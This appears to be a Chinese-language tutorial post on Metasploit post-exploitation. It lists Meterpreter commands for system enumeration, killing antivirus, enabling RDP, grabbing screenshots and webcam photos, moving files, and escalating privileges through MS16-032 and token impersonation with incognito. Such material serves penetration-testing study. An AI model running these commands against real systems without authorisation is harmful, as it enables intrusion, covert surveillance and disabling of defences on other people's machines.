Metasploit渗透（二）
后渗透攻击：介绍常用的一些命令：查看进程：ps查看当前进程号：getpid查看系统信息：sysinfo查看目标机是否为虚拟机：run post/windows/gather/checkvm查看完整网络设置：route查看当前权限：getuid自动提权：getsystem关闭杀毒软件：run post/windows/manage/killav启动远程桌面协议：run post/windows/manage/enable_rdp列举当前登录的用户：run post/windows/gather/enum_logged_on_users查看当前应用程序：run post/windows/gather/enum_applications抓取目标机的屏幕截图：load espia ； screengrab抓取摄像头的照片：webcam_snap查看当前处于目标机的那个目录：pwd查看当前目录：getlwd搜索指定类型文件：search -f *.txt -d c:\下载文件：download c:\est.txt /root上传文件：upload /root/test.txt c:\在成功创建了meterpreter会话后，要开启远程桌面协议，被告知权限不允许，这个时候就需要提权。提权操作：1）利用EXP进行提权输入：Wmic qfe get Caption,Description,HotFixID,InstalledOn查看目标机打的补丁这里利用MS16_032本地溢出进行提权：过程如下： 在shell中查看whoami（直接用getuid就行），提权成功2）假冒立牌进行提权令牌窃取：密保令牌：是一种计算机身份校验的物理设备，也叫认证令牌，硬件令牌，比如u盾访问令牌：表示访问控制操作主题的系统对象会话令牌：交互会话中唯一否认身份标识符
假冒令牌：在假冒令牌中，需要用到Kerberos协议（一种网络认证协议，通过密钥系统为客户机/服务器应用程序提供强大的认证服务）
查看有哪些可以使用的令牌use incognitomolist_tokens -u 使用命令impersonate_token hostname\\username 在shell中查看whoami，提权成功 提权成功后，就能成功开启远程桌面协议，等原先权限不允许的操作了。
页:
[1]